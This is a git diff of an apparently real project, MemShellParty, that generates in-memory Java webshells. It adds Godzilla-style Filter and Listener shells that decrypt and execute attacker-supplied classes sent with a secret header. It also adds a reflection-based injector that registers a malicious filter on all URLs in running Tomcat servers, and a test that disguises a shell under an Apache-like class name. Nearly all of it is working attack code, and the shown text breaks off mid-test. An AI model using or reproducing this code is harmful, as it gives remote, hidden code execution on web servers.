diff --git a/.gitignore b/.gitignore index 89d10a18..5c87de4d 100644 --- a/.gitignore +++ b/.gitignore @@ -25,3 +25,26 @@ hs_err_pid* replay_pid* +.gradle +**/build/ +!src/**/build/ + +# Ignore Gradle GUI config +gradle-app.setting + +# Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) +!gradle-wrapper.jar + +# Avoid ignore Gradle wrappper properties +!gradle-wrapper.properties + +# Cache of project +.gradletasknamecache + +# Eclipse Gradle plugin generated files +# Eclipse Core +.project +# JDT-specific (Eclipse Java Development Tools) +.classpath + +.DS_Store \ No newline at end of file diff --git a/README.md b/README.md index db7ef8c2..7d29d7aa 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # MemShellParty -> [!IMPORTANT] -> 当前进度:新建文件夹中...... +> [!WARNING] +> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。 + + ## Why @@ -58,19 +60,19 @@ JDK 版本: 6. TomcatUpgrade 7. TomcatExecutor 8. Agent -9. Spring Controller(多种方式) -10. Spring Interceptor +9. Netty +10. Spring Controller(多种方式) +11. Spring Interceptor +12. Spring Webflux 内存马功能: 1. 回显 2. 命令执行 -3. [Behinder 冰蝎内存马](https://github.com/rebeyond/Behinder/releases) -4. [Godzilla 哥斯拉内存马](https://github.com/BeichenDream/Godzilla/releases) -5. [AntSword 蚁剑](https://github.com/AntSwordProject/antSword) -6. [Suo5](https://github.com/zema1/suo5) -7. [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) -8. 自定义 +3. [Godzilla 哥斯拉内存马](https://github.com/BeichenDream/Godzilla/releases) +4. [Suo5](https://github.com/zema1/suo5) +5. [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) +6. 自定义 漏洞类型: @@ -83,3 +85,8 @@ JDK 版本: 7. JDBC 连接攻击 **Let's start the party 🎉** + + +## Thanks + +- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) \ No newline at end of file diff --git a/build.gradle b/build.gradle new file mode 100644 index 00000000..f1579b2d --- /dev/null +++ b/build.gradle @@ -0,0 +1,18 @@ +allprojects { + apply(plugin: 'java') + + repositories { + mavenCentral() + } + + java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + } + + dependencies { + testImplementation platform('org.junit:junit-bom:5.11.3') + testImplementation 'org.junit.jupiter:junit-jupiter' + } +} \ No newline at end of file diff --git a/generator/build.gradle b/generator/build.gradle new file mode 100644 index 00000000..d2e9e39e --- /dev/null +++ b/generator/build.gradle @@ -0,0 +1,20 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb.memsell' +version = '1.0-SNAPSHOT' + +dependencies { + implementation 'net.bytebuddy:byte-buddy:1.15.1' + implementation 'javax.servlet:javax.servlet-api:3.0.1' +// implementation fileTree('libs') + + implementation 'commons-io:commons-io:2.18.0' + implementation 'org.apache.commons:commons-lang3:3.17.0' + implementation 'commons-codec:commons-codec:1.17.1' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java new file mode 100644 index 00000000..a402e332 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.commons.ClassRemapper; +import net.bytebuddy.jar.asm.commons.Remapper; +import net.bytebuddy.pool.TypePool; + +/** + * @author ReaJason + * @since 2024/11/23 + */ +public class ServletRenameVisitorWrapper implements AsmVisitorWrapper { + @Override + public int mergeReader(int flags) { + return 0; + } + + @Override + public int mergeWriter(int flags) { + return 0; + } + + @Override + public ClassVisitor wrap( + TypeDescription instrumentedType, + ClassVisitor classVisitor, + Implementation.Context implementationContext, + TypePool typePool, + FieldList fields, + MethodList methods, + int writerFlags, + int readerFlags) { + return new ClassRemapper( + classVisitor, + new Remapper() { + @Override + public String map(String typeName) { + if (typeName.startsWith("javax/servlet/")) { + return typeName.replaceFirst("javax", "jakarta"); + } else { + return typeName; + } + } + }); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java new file mode 100644 index 00000000..84d64696 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -0,0 +1,69 @@ +package com.reajason.javaweb.config; + +/** + * @author ReaJason + * @since 2024/11/22 + */ +public enum Server { + /** + * Tomcat 中间件 + */ + TOMCAT, + /** + * Jetty 中间件 + */ + JETTY, + /** + * JBoss 中间件 + */ + JBOSS, + /** + * Undertow,对应是 Wildfly,也有可能是 SpringBoot 用的 + */ + UNDERTOW, + + /** + * SpringMVC 框架 + */ + SPRING_MVC, + + /** + * Spring Webflux 框架 + */ + SPRING_WEBFLUX, + + /** + * WebSphere 中间件 + */ + WEBSPHERE, + + /** + * WebLogic 中间件 + */ + WEBLOGIC, + + /** + * Resin 中间件 + */ + RESIN, + + /** + * Glassfish 中间件 + */ + GLASSFISH, + + /** + * 宝兰德中间件 + */ + BES, + + /** + * 东方通中间件 + */ + TONGWEB, + + /** + * 金蝶天燕中间件 + */ + APUSIC +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java new file mode 100644 index 00000000..fa953f37 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/ShellTool.java @@ -0,0 +1,17 @@ +package com.reajason.javaweb.config; + +/** + * @author ReaJason + * @since 2024/11/22 + */ +public enum ShellTool { + /** + * 哥斯拉 + */ + Godzilla, + + /** + * 命令回显 + */ + CMD +} diff --git a/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java new file mode 100644 index 00000000..9389a629 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/config/TomcatShell.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.config; + +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; +import lombok.Getter; + +/** + * @author ReaJason + * @since 2024/11/22 + */ +public class TomcatShell { + public static final String SERVLET = "servlet"; + public static final String JAKARTA_SERVLET = "jakartaServlet"; + public static final String FILTER = "filter"; + public static final String JAKARTA_FILTER = "jakartaFilter"; + public static final String LISTENER = "listener"; + public static final String JAKARTA_LISTENER = "jakartaListener"; + public static final String WEBSOCKET = "websocket"; + public static final String VALVE = "valve"; + public static final String UPGRADE = "upgrade"; + public static final String EXECUTOR = "executor"; + + + @Getter + public static enum Godzilla { + + /** + * Tomcat Filter + */ + Filter(TomcatShell.FILTER, GodzillaFilter.class), + ; + + Godzilla(String shellType, Class shellClass) { + this.shellClass = shellClass; + this.shellType = shellType; + } + + private final String shellType; + private final Class shellClass; + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java new file mode 100644 index 00000000..e12cb959 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/GodzillaGenerator.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.memsell; + +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FieldAccessor; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.implementation.SuperMethodCall; +import net.bytebuddy.matcher.ElementMatchers; +import org.apache.commons.codec.digest.DigestUtils; + +/** + * @author ReaJason + * @since 2024/11/23 + */ +public class GodzillaGenerator { + + public byte[] generate(Class godzillaClass, String godzillaClassName, + String pass, String key, + String headerName, String headerValue) { + String md5Key = DigestUtils.md5Hex(key).substring(0, 16); + String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); + Implementation.Composable fieldSets = SuperMethodCall.INSTANCE + .andThen(FieldAccessor.ofField("pass").setsValue(pass)) + .andThen(FieldAccessor.ofField("key").setsValue(md5Key)) + .andThen(FieldAccessor.ofField("md5").setsValue(md5)) + .andThen(FieldAccessor.ofField("headerName").setsValue(headerName)) + .andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue)); + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(godzillaClass) + .name(godzillaClassName) + .constructor(ElementMatchers.any()) + .intercept(fieldSets) + .make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java new file mode 100644 index 00000000..5430325c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/InjectorGenerator.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.memsell; + +import com.reajason.javaweb.util.CommonUtil; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; +import org.apache.commons.codec.binary.Base64; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class InjectorGenerator { + + @SneakyThrows + public byte[] generate(Class injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) { + String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");; + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(injectClass) + .name(injectClassName) + .method(named("getUrlPattern")).intercept(FixedValue.value(urlPattern)) + .method(named("getBase64String")).intercept(FixedValue.value(base64String)) + .method(named("getClassName")).intercept(FixedValue.value(shellClassName)) + .make()) { + return make.getBytes(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java new file mode 100755 index 00000000..f1d37de8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java @@ -0,0 +1,126 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key; + public String pass; + public String md5; + public String headerName; + public String headerValue; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java new file mode 100644 index 00000000..77aafc6d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListener.java @@ -0,0 +1,147 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String md5; + public String pass; + public String key; + public String headerName; + public String headerValue; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java new file mode 100644 index 00000000..720e0524 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -0,0 +1,280 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ +public class TomcatFilterInjector { + + static { + new TomcatFilterInjector(); + } + + public TomcatFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + } + } + + public String getUrlPattern() { + return "/*"; + } + + public String getClassName() { + return ""; + } + + public String getBase64String() { + return ""; + } + + static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return filter; + } + + @SuppressWarnings("all") + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + ClassLoader catalinaLoader = getCatalinaLoader(); + String filterClassName = getClassName(); + String filterName = filter.getClass().getSimpleName(); + Object filterDef; + Object filterMap; + + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + return; + } + } catch (Exception ignored) { + } + + try { + // tomcat v8/9 + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + // tomcat v6/7 + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (Exception e) { + // tomcat v5 + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); + } + } + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception e) { + // tomcat v5 + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); + } + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + for (Thread thread : threads) { + // 适配 v5 的 Class Loader 问题 + if (thread.getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = thread.getContextClassLoader(); + break; + } + } + return catalinaLoader; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java new file mode 100644 index 00000000..e77f5398 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/util/ClassUtils.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.util; + +import lombok.SneakyThrows; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2024/11/23 + */ +public class ClassUtils { + + @SneakyThrows + public static Object newInstance(byte[] bytes) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length); + return clazz.newInstance(); + } + + @SneakyThrows + public static Object getFieldValue(Object object, String fieldName) { + Field field = object.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(object); + } + + @SneakyThrows + public static Object invokeMethod(Object object, String methodName, Class[] parameterTypes, Object[] parameters) { + Method method = object.getClass().getDeclaredMethod(methodName, parameterTypes); + method.setAccessible(true); + return method.invoke(object, parameters); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java new file mode 100644 index 00000000..c7a61ea2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -0,0 +1,18 @@ +package com.reajason.javaweb.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPOutputStream; + +/** + * @author ReaJason + */ +public class CommonUtil { + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java new file mode 100644 index 00000000..581c432c --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.memsell; + +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.util.ClassUtils; +import me.gv7.woodpecker.tools.common.FileUtil; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/23 + */ +class GodzillaGeneratorTest { + + GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); + String pass = "pass"; + String key = "key"; + String headerName = "User-Agent"; + String headerValue = "test"; + + @Test + @Disabled("just for generate") + void testGenerate() throws IOException { + System.out.println("hello"); + String className = "org.apache.utils.CommonFilter"; + byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); + FileUtil.writeFile("Class.class", bytes); + } + + @Test + void generateFilter() { + String className = 